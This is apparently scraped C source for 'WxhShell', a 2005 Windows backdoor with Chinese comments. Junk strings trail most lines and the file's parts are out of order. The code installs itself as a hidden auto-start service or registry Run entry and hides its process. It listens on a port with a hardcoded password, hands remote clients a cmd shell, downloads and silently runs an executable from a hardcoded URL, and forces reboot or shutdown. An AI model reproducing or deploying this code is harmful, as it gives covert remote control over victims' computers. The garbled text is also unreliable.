    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x2]chN  
    if(Boot(SHUTDOWN)) uhmSp+%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dm;aTe  
    else { 8`b_,(\N  
    closesocket(wsh); _ =O;Lz$x  
    ExitThread(0); L|2WTyMU  
    } >Cr'dKZ}  
    break; ve/|"RB  
    } Z=s]@r  
  // 获取shell h7\16j  
  case 's': { pvqbk2BO  
    CmdShell(wsh); Q@l.p-:^U  
    closesocket(wsh); +r =p ,leb  
    ExitThread(0); g9gyx/'*  
    break; +^aM(4K\  
  } @F5QgO J&r  
  // 退出 ?0+J"FH# W  
  case 'x': { ?B4X&xf.D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g>f_'7F&  
    CloseIt(wsh); H]f8W]"c[  
    break; M059"X="  
    } Z2\Xe~{  
  // 离开 UbwD2>  
  case 'q': { 0_map z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H 4W4# \M  
    closesocket(wsh); n<7R6)j6  
    WSACleanup(); 3:P "6mN  
    exit(1); xOpCybmc  
    break; X9uYqvP\(  
        } :+S~N)0j^  
  } (>x_fDv  
  } -f[95Z3}  
M}F) P&Y  
  // 提示信息 I9r> 3?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p8u -3  
} c f1GA  
  } jJY!;f  
L/J)OJe\  
  return; D~<0CQ3n.  
} 8 =<&9TmE  
Y)v_O_`  
// shell模块句柄 wd~!j&`a  
int CmdShell(SOCKET sock) '^6x-aeq[D  
{ #v4q:&yKf  
STARTUPINFO si; lW YgIpw  
ZeroMemory(&si,sizeof(si)); -jsk-,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m3K .\3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j%s:d(H`  
PROCESS_INFORMATION ProcessInfo; Kkds^v6  
char cmdline[]="cmd"; rv97Wm+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {5gh.  
  return 0; -r"h [UV)  
} iYxpIqWw  
5PCKBevV  
// 自身启动模式 _"%-=^_  
int StartFromService(void) `~3y[j]kO  
{ rw ou[QU  
typedef struct A Pu cA  
{ yY42+%P  
  DWORD ExitStatus; |nj,]pA  
  DWORD PebBaseAddress; wi/dR}*A  
  DWORD AffinityMask; |d8x55dk  
  DWORD BasePriority; 4 '6HX#J  
  ULONG UniqueProcessId; U ORoj )$I  
  ULONG InheritedFromUniqueProcessId; [P23.`G~J  
}   PROCESS_BASIC_INFORMATION; <O?UC/$)7  
H-.8{8  
PROCNTQSIP NtQueryInformationProcess; P ".[=h  
[6Gb@jG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7$* O+bkn:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <jvSV5%  
$]yHk  
  HANDLE             hProcess; 'hi.$G_R  
  PROCESS_BASIC_INFORMATION pbi; =m?x|Zc_v  
!,< )y}L^)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?5g0#wqI  
  if(NULL == hInst ) return 0; Jk!*j  
2aUy1*aM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YAf`Fnmw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x7]Yn'^'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &*#- %<=1  
noa =wy  
  if (!NtQueryInformationProcess) return 0; sC.aT(meJ  
,s,VOyr @F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,2YkQ/ >  
  if(!hProcess) return 0; KDX34Fr1  
\{ui{8+G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nZ 0rxx[V?  
wd`lN,WiW  
  CloseHandle(hProcess); !4f0VQI  
l4sFT)}-J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;:l\_b'Z}  
if(hProcess==NULL) return 0; 2= 6}! Y  
IA XoEBlMs  
HMODULE hMod; 80M"`6  
char procName[255]; 6U`yf&D  
unsigned long cbNeeded; M1/Rba Q  
T~rPpi&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `'{>2d%\g  
(0T6kD  
  CloseHandle(hProcess); VY5/C;0^h  
KPOr8=Rc  
if(strstr(procName,"services")) return 1; // 以服务启动 p=65L  
 !Z'x h +  
  return 0; // 注册表启动 |h; _r&  
} u!As?AD.  
D^knN-nZ*  
// 主模块 g= ql 3N  
int StartWxhshell(LPSTR lpCmdLine) o7*z@R"  
{ ;r_YEPlZ  
  SOCKET wsl; zMkjdjb  
BOOL val=TRUE; l25E!E-'b  
  int port=0; =;9*gDfD  
  struct sockaddr_in door; yqm^4)Dp  
<I{)p;u1  
  if(wscfg.ws_autoins) Install(); aD1G\*AFJ  
.*N,x0 B(  
port=atoi(lpCmdLine); E  K)7g~  
VE<&0d<  
if(port<=0) port=wscfg.ws_port; m\88Etl@  
Fx.hti  
  WSADATA data; +d0&(b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \WnI&nu  
J<<0U;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <= xmJx-V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +|N!(H  
  door.sin_family = AF_INET; >+w(%;i;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,3t('SE  
  door.sin_port = htons(port); 8()L}@y  
hDp -,ag{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JwNG`M Gc  
closesocket(wsl); \/J7U|@Lt  
return 1; QGYO{S  
} ?X1vU0 c  
uj_ OWre  
  if(listen(wsl,2) == INVALID_SOCKET) { ~@x@uY$5  
closesocket(wsl); %8)GuxG*  
return 1; xbFoXYqgP  
} ZLBv\VQ  
  Wxhshell(wsl); R)AFaP |  
  WSACleanup(); Ub%al D  
SEn-8ZF  
return 0; p#9.lFSX  
w a!g/ \  
} `,mE '3&  
I-E}D"F;p[  
// 以NT服务方式启动 {CM%QMM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I@l' Fx  
{ p4 #U:_  
DWORD   status = 0; 7.n/W|\  
  DWORD   specificError = 0xfffffff; sglYT!O  
5TqT`XTzm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HB+\2jEE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h\k!X/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; em  
  serviceStatus.dwWin32ExitCode     = 0; &wbe^Wp  
  serviceStatus.dwServiceSpecificExitCode = 0; 7-"ml\z  
  serviceStatus.dwCheckPoint       = 0; \$o!M1j  
  serviceStatus.dwWaitHint       = 0; uFM]4v3  
h2 2-v X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T-)Ur/qp  
  if (hServiceStatusHandle==0) return; @;iW)a_M  
6% @@~"  
status = GetLastError(); \Gh]$s p  
  if (status!=NO_ERROR) N@$g"w  
{  o *2TH2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sjpcz4|K  
    serviceStatus.dwCheckPoint       = 0; (Yz EsY  
    serviceStatus.dwWaitHint       = 0; 8}3dwr;-  
    serviceStatus.dwWin32ExitCode     = status; yIBT*,4  
    serviceStatus.dwServiceSpecificExitCode = specificError; c}a.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fi+v:L|  
    return; bq/*99``  
  } =@U~ sl [  
b{|Ha3;w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yyq:5V!  
  serviceStatus.dwCheckPoint       = 0; S3V3<4CB  
  serviceStatus.dwWaitHint       = 0; w /$4 Rv+S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y_3 {\g|x  
} uFDJRQJ<  
%oas IiO  
// 处理NT服务事件,比如:启动、停止 'u }|~u?m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;iJ*.wVq  
{ 5CZii=@  
switch(fdwControl) M),i4a?2  
{ wu5]S)?*  
case SERVICE_CONTROL_STOP: Pa%;[hbn  
  serviceStatus.dwWin32ExitCode = 0; &?m|PK)I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9NTBdo%u  
  serviceStatus.dwCheckPoint   = 0; COe"te  
  serviceStatus.dwWaitHint     = 0; fcd\{1#u  
  { eRkvNI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -~O7.E(ok  
  } o}&TFhT  
  return; ,E{z+:Es  
case SERVICE_CONTROL_PAUSE: 3okh'P%+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `+_UG^aeW  
  break; 8A{n9>jrb  
case SERVICE_CONTROL_CONTINUE: .CI { g2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q@K;u[zFK  
  break; rPoPs@CBD  
case SERVICE_CONTROL_INTERROGATE: vd Fy}#X  
  break; ?;pw*s1Atz  
}; Q}GsCmt=)O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9ALE6  
} $2Y'[Dto\  
^z #'o  
// 标准应用程序主函数 FA-"" ]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZUJ !  
{ t]|WRQvy8  
|~b.rKQt[  
// 获取操作系统版本 1Wd?AyTY,  
OsIsNt=GetOsVer(); USLG G}R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); okfGd= &  
}J27Y ;Zp9  
  // 从命令行安装 ',L>UIXw  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0 e 1W&  
8?ldD  
  // 下载执行文件 q_eGY&M  
if(wscfg.ws_downexe) { S(kj"t*3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \ .+.VK  
  WinExec(wscfg.ws_filenam,SW_HIDE); N|[P%WM3  
} Kh<xQ:eMy  
4 G`7]<  
if(!OsIsNt) { Ws"eF0,'Z  
// 如果时win9x,隐藏进程并且设置为注册表启动  gBQK  
HideProc(); =e'b*KTL,  
StartWxhshell(lpCmdLine); GxWA=Xp^~G  
} W]kh?+SZ  
else EoM}Co  
  if(StartFromService()) KI~BjP\e  
  // 以服务方式启动 QAYhAOS|e  
  StartServiceCtrlDispatcher(DispatchTable); pI2g\cH>  
else LaL.C^K  
  // 普通方式启动 [MfKBlA  
  StartWxhshell(lpCmdLine); DC4,*a~  
?4%'6R  
return 0; PjriAlxD  
} ea-NqdGs;m  
.v<c_~y  
asT:/z0  
@!z9.o;  
=========================================== VT1Nd  
J(+I`  
<fq?{z  
Jolr"F?  
E)liuu! qI  
OYKeu(=L  
" OZ\]6]L  
|_Vi8Ly  
#include <stdio.h> zlC|Spaf  
#include <string.h> pC 5J '@  
#include <windows.h> 2_@vSwC  
#include <winsock2.h> >5C|i-HX  
#include <winsvc.h> $ 2'AY  
#include <urlmon.h> U 2k^X=yl  
~A<1xszC  
#pragma comment (lib, "Ws2_32.lib") b|F_]i T  
#pragma comment (lib, "urlmon.lib") \DsP '-t  
sM)qzO2wh  
#define MAX_USER   100 // 最大客户端连接数 :#8#tLv  
#define BUF_SOCK   200 // sock buffer ~~eR,HYk  
#define KEY_BUFF   255 // 输入 buffer Sc Uh -y_  
T_ ifDQX;  
#define REBOOT     0   // 重启 icW?a9b&  
#define SHUTDOWN   1   // 关机 k fER  
ld58R  
#define DEF_PORT   5000 // 监听端口 f,GF3vu"  
UN{_f)E?  
#define REG_LEN     16   // 注册表键长度 <eRE;8C-  
#define SVC_LEN     80   // NT服务名长度 s'\PU1{  
6u>${}  
// 从dll定义API bQG2tDvu[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i=$##  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \tf \fa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &oJ=   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KKm &~^c  
wYnsd7@I  
// wxhshell配置信息 4$Oakl*l  
struct WSCFG { m89-rR:Kc  
  int ws_port;         // 监听端口 P/;sZo  
  char ws_passstr[REG_LEN]; // 口令 :wiQ^ea  
  int ws_autoins;       // 安装标记, 1=yes 0=no f\+MnZ4[Qj  
  char ws_regname[REG_LEN]; // 注册表键名 h$[}lZDg  
  char ws_svcname[REG_LEN]; // 服务名 ^CZ!rOSv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 emp*j@9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 + v.I|c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 II$B"-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ((i%h^tGa;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8>" vAEf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n}?XFx!%  
* ^R?*vNs  
}; ! 6yo D  
TR:V7 d  
// default Wxhshell configuration d?dZ=]~C  
struct WSCFG wscfg={DEF_PORT, PCzC8~t  
    "xuhuanlingzhe", A&%vog]O  
    1, ">='l9  
    "Wxhshell", L{H` t{ A  
    "Wxhshell", )cnH %6X  
            "WxhShell Service", W]E6<y'  
    "Wrsky Windows CmdShell Service", &DoYz[q  
    "Please Input Your Password: ", _U}pdzX?  
  1,  ismx evD  
  "http://www.wrsky.com/wxhshell.exe", ciRn"X=l  
  "Wxhshell.exe" _ ;baZ-  
    }; x6Q,$B  
];& @T\Rj  
// 消息定义模块 'Rbv3U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  + ]I7]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eUP.:(E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zu8   
char *msg_ws_ext="\n\rExit."; i("ok  
char *msg_ws_end="\n\rQuit."; '1'#,u!  
char *msg_ws_boot="\n\rReboot..."; U .?N  
char *msg_ws_poff="\n\rShutdown..."; #R2wt7vE  
char *msg_ws_down="\n\rSave to "; QWL$F:9:  
~qFuS933  
char *msg_ws_err="\n\rErr!"; G 3))3]  
char *msg_ws_ok="\n\rOK!"; >bQ'*!  
38<!Dt+S(,  
char ExeFile[MAX_PATH]; a2J01B  
int nUser = 0; CK4C:`YG  
HANDLE handles[MAX_USER]; \@")2o+  
int OsIsNt; `M0m`Up  
sfb)iH|sW  
SERVICE_STATUS       serviceStatus; jz CA2N%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S\$=b_.  
y8oqCe)  
// 函数声明 nPlg5&E  
int Install(void); v6uXik  
int Uninstall(void); p'SclH[   
int DownloadFile(char *sURL, SOCKET wsh); A7 U]wW9  
int Boot(int flag); b+b].,  
void HideProc(void); 6"@`iY  
int GetOsVer(void); ,x (?7ZW>  
int Wxhshell(SOCKET wsl); p./9^S  
void TalkWithClient(void *cs); ]7+9>V  
int CmdShell(SOCKET sock); pZeJ$3@vk  
int StartFromService(void); cp| q  
int StartWxhshell(LPSTR lpCmdLine); },r9f MJ  
EV=/'f[++  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3^!Y9$y1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +!"GYPUXy  
%%uvia=e  
// 数据结构和表定义 @Z}TF/Rx4  
SERVICE_TABLE_ENTRY DispatchTable[] = Q)mYy  
{ Hl"^E*9x  
{wscfg.ws_svcname, NTServiceMain}, QOT|6)Yb  
{NULL, NULL} jWpm"C  
}; Ms>CO7Nvy  
Ja4j7 d1:  
// 自我安装 eDkJ+5b  
int Install(void) W!Qaa(o?  
{ $?Dcp^  
  char svExeFile[MAX_PATH]; |3]#SqX  
  HKEY key; zWO!z =  
  strcpy(svExeFile,ExeFile); Z;'5A2  
uW 7Yem&  
// 如果是win9x系统,修改注册表设为自启动 s:/Wz39SY3  
if(!OsIsNt) { `f)X!S2l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A>9I E(C_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [8 I*lsS  
  RegCloseKey(key); 6<t<hP_3O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &s0_^5B0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xwhS[d  
  RegCloseKey(key); k-jlYHsA  
  return 0; ->9waXRDz)  
    } 8"=E 0(m  
  } D~Rv"Hh  
} K^m`3N"  
else { +~n"@ /  
QHHj.ZY  
// 如果是NT以上系统,安装为系统服务 7W.z8>p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K3;~|U-l  
if (schSCManager!=0) MhDPf]` Gg  
{ -IE=?23Do?  
  SC_HANDLE schService = CreateService oK@_  
  ( `p#u9M>  
  schSCManager, |_\q5?S  
  wscfg.ws_svcname, WQ1K8B4  
  wscfg.ws_svcdisp, :"Gd;~p.  
  SERVICE_ALL_ACCESS, 2=RQ,@s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p)c"xaTP#F  
  SERVICE_AUTO_START, M <K}H8?  
  SERVICE_ERROR_NORMAL, 3kW%,d*_  
  svExeFile, dF+R q|n{  
  NULL, DR<=C`<4(  
  NULL, ;s^F:O  
  NULL, rCsH 0:l8P  
  NULL, SU7 erCHX  
  NULL G\C>fwrP_  
  ); V8947h|&  
  if (schService!=0) F7&Oc)f"B  
  {  q^Ui2  
  CloseServiceHandle(schService); \E8CC>Jd  
  CloseServiceHandle(schSCManager); ;~"#aL50fe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); = KJ_LE~)  
  strcat(svExeFile,wscfg.ws_svcname); f-5}`)`.+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }&Ul(HR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C<E;f]d  
  RegCloseKey(key); 9RQw6rL  
  return 0; D.,~I^W  
    } &\5%C\0Z<  
  } ?UBhM,;XK  
  CloseServiceHandle(schSCManager); X8~gLdv8  
} ` 7jdV  
} ~+&Z4CYb  
osPrr QoH  
return 1; %-O[%Dy  
} *k !zdV  
/rzZU}3[  
// 自我卸载 F2C v,&'  
int Uninstall(void) ~IS3i'bh  
{ 3.V-r59  
  HKEY key; T?EFY}f  
R zn%!d^$>  
if(!OsIsNt) { ^T_2 s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (T8dh|  
  RegDeleteValue(key,wscfg.ws_regname); o0FVVSl  
  RegCloseKey(key); } !1pA5x$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <lf6gb  
  RegDeleteValue(key,wscfg.ws_regname); >OW>^%\!1  
  RegCloseKey(key); r1AG1Y  
  return 0; -n]E\"  
  } !~a1xI~s  
} 0RkiD8U5  
} PJ'.s  
else { ?vocI  
X Frgnnt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {"@E_{\  
if (schSCManager!=0) +^V%D!.$@  
{ nI<Ab_EB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |emZZj  
  if (schService!=0) &?#!%Ds  
  { z|WDqB%/I  
  if(DeleteService(schService)!=0) { Nh+ZSV4WJ:  
  CloseServiceHandle(schService); 4<l&cP  
  CloseServiceHandle(schSCManager); p WLFJH}N  
  return 0; Ukg iSv+  
  } '`/w%OEVC5  
  CloseServiceHandle(schService); U Y')|2y 5  
  } 6dQ]=];  
  CloseServiceHandle(schSCManager); 3`> nQ4zC  
} _sI\^yZd  
} YfUUbV  
:Wmio\  
return 1; \ 0aa0=  
} Q\{$&0McF  
a!*K)x,"<  
// 从指定url下载文件 +,A7XBn  
int DownloadFile(char *sURL, SOCKET wsh) ~4C:2  
{ ^laf!kIP  
  HRESULT hr; 4KT-U6zNx  
char seps[]= "/"; UWW_[dJr   
char *token; hwB>@r2  
char *file; M$+2f.(>k)  
char myURL[MAX_PATH]; Y|y X]\,  
char myFILE[MAX_PATH]; B4ky%gF4  
8jm\/?k|  
strcpy(myURL,sURL); M,/{53  
  token=strtok(myURL,seps); q?2kD"%$  
  while(token!=NULL) (Gpk;DD  
  { HzD=F3\r|  
    file=token; BZ -)XF'4  
  token=strtok(NULL,seps); xH/Pw?^  
  } &s<'fSI  
/6d:l>4  
GetCurrentDirectory(MAX_PATH,myFILE); 0 |Y'@&  
strcat(myFILE, "\\"); ;O Y*`(Id  
strcat(myFILE, file); m9m]q&hx  
  send(wsh,myFILE,strlen(myFILE),0); [m{uJ dj\  
send(wsh,"...",3,0); kKil] L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); " H; i Av  
  if(hr==S_OK) +Rb0:r>kU  
return 0; ju%t'u\'  
else P},d`4Ty@  
return 1; {fAj*,pzl  
4KCJ(<p|  
} Ceco^Mw  
(b4;c=<[{  
// 系统电源模块 @gHWU>k,A  
int Boot(int flag) - |j4u#z  
{ Ss c3uo0  
  HANDLE hToken; 2$%E:J+2:$  
  TOKEN_PRIVILEGES tkp; @N,I}_9-  
okv`v ({  
  if(OsIsNt) { Fu6~8uDV{{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EABy<i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  cnwpd%]o  
    tkp.PrivilegeCount = 1; 3^J~ts{*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kEpCF:@A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;^Y]nsd  
if(flag==REBOOT) { ^lCQHz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F^)SQ%xx  
  return 0; t ]yD95|  
} T{Rhn V1  
else { c DO<z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dLIZ)16&  
  return 0; c<n <!!vi  
} -L)b;0%  
  } -)2sR>`A%  
  else { !mLD`62.  
if(flag==REBOOT) { =zXii{t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qH-':|h7  
  return 0; H<bK9k)E  
} q*B(ZG  
else { GVt}\e~"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S|HnmkV66  
  return 0; j,BiWgj$8  
} !;ipLC;e}  
} T6=q[LpsKN  
aO]FQ#l2b  
return 1; =f*Wj\  
} rS/}!|uAu  
>:yU bo)  
// win9x进程隐藏模块 4:S?m(ah/  
void HideProc(void) x&PVsXdt5m  
{ ,@*Srrw  
ON~K(O2g(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k yI-nE  
  if ( hKernel != NULL ) /"*eMe!=  
  { {f kP|d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IU*w 'a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6xsB#v*  
    FreeLibrary(hKernel); pg;y\}  
  } fX[6  {  
rS3* k3  
return; S66. .sa  
} L1i:hgq0]  
bn8`$FA^  
// 获取操作系统版本 KnjowK  
int GetOsVer(void) 4v("qNw#  
{ "\l O1D  
  OSVERSIONINFO winfo; c7fQ{"f 3B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <.lT.>'?  
  GetVersionEx(&winfo); <#r/4a"V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [V-OYjPAx  
  return 1; {zf)im[.  
  else t/4&=]n\u  
  return 0; ")cJA f  
}  #mDeA>b  
&/7D4!N]  
// 客户端句柄模块 7^|,l  
int Wxhshell(SOCKET wsl) ~&?{hd.  
{ HI}9 "(t}  
  SOCKET wsh; jg7 WMH"`  
  struct sockaddr_in client; zu@5,AH  
  DWORD myID; z#!}4@_i3  
ub* j&L=  
  while(nUser<MAX_USER) X\a*q]"_  
{ :Vyr8+]  
  int nSize=sizeof(client); kA1C&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D<35FD,  
  if(wsh==INVALID_SOCKET) return 1; ue;o:>G  
'`K-rvF,C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); apxY2oE&  
if(handles[nUser]==0) P}kp_l27  
  closesocket(wsh); ?B!=DC@?H  
else Zoi\r  
  nUser++; 7kZ-`V|\.  
  } s^n}m#T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k]<E1 c/  
.9Y,N&V<H  
  return 0; M#PutrH  
} |Qe#[Q7  
V#Px  
// 关闭 socket q|23l1 PI  
void CloseIt(SOCKET wsh) 1JIo,7  
{ Z.]=u(=a  
closesocket(wsh); WE hDep:  
nUser--; |QI FtdU5T  
ExitThread(0); C25r3bj  
} B)bq@jM  
"&,Gn#'FG  
// 客户端请求句柄 N4wv'OrL]  
void TalkWithClient(void *cs) dcGs0b  
{ M^E\L C  
 GT)63|  
  SOCKET wsh=(SOCKET)cs; wLDWD,"K  
  char pwd[SVC_LEN]; Z?#_3h$"T  
  char cmd[KEY_BUFF]; O" <W<l7Q  
char chr[1]; -or^mNB_z  
int i,j; aNLkkkJg<;  
>pVrY; P[  
  while (nUser < MAX_USER) { aq|R?  
38[ko 3  
if(wscfg.ws_passstr) { qXH\e|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `a!:-.:v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y)-)owx7  
  //ZeroMemory(pwd,KEY_BUFF); H)Zb_>iV  
      i=0; soH M5<U  
  while(i<SVC_LEN) { oBm^RHTZ  
R>ak 3Y  
  // 设置超时 !2R<T/9~  
  fd_set FdRead; n8!qz:z/  
  struct timeval TimeOut; aa'u5<<W  
  FD_ZERO(&FdRead); $p)7k   
  FD_SET(wsh,&FdRead); huu v`$~y  
  TimeOut.tv_sec=8; *7ggw[~  
  TimeOut.tv_usec=0; @Y~R*^n"}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wQ4IQ!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9 NO^ '  
!w!}`|q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qOusO6  
  pwd=chr[0]; h|MTE~   
  if(chr[0]==0xd || chr[0]==0xa) { lDQ'  
  pwd=0; Zw)*+> +FV  
  break; Z]1=nSv  
  } eu]t.Co[X  
  i++; Nf#8V|  
    } RcASFBNpS  
!F|mCEU  
  // 如果是非法用户,关闭 socket (&w'"-`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lR^OS*v  
} rT2gX^Mj&  
Z=B6fu*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +0,{gDd+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |b@H]c;"  
fVU9?^0/)9  
while(1) { yN0!uzdW*  
AX Y.80+  
  ZeroMemory(cmd,KEY_BUFF); T4OH,^J  
= }&@XRLJ  
      // 自动支持客户端 telnet标准   ]y4(WG;:  
  j=0; 3c"$@W:>  
  while(j<KEY_BUFF) { g=*`6@_=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ag>E%N  
  cmd[j]=chr[0]; A?DgeSm  
  if(chr[0]==0xa || chr[0]==0xd) { ;>eD`Wh  
  cmd[j]=0; 6hE. i x  
  break; PP{CK4  
  } DA/l`Pn  
  j++; ]8}+%P,Q  
    } M*r/TT  
QW5S=7  
  // 下载文件 t3#My2=  
  if(strstr(cmd,"http://")) { \k#|5W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); an4^(SY  
  if(DownloadFile(cmd,wsh)) ,~R`@5+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BVKr 2v  
  else "5KJ /7q!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g1je':  
  } aKLA_-E  
  else { PY4RwN  
ad\?@>[ I  
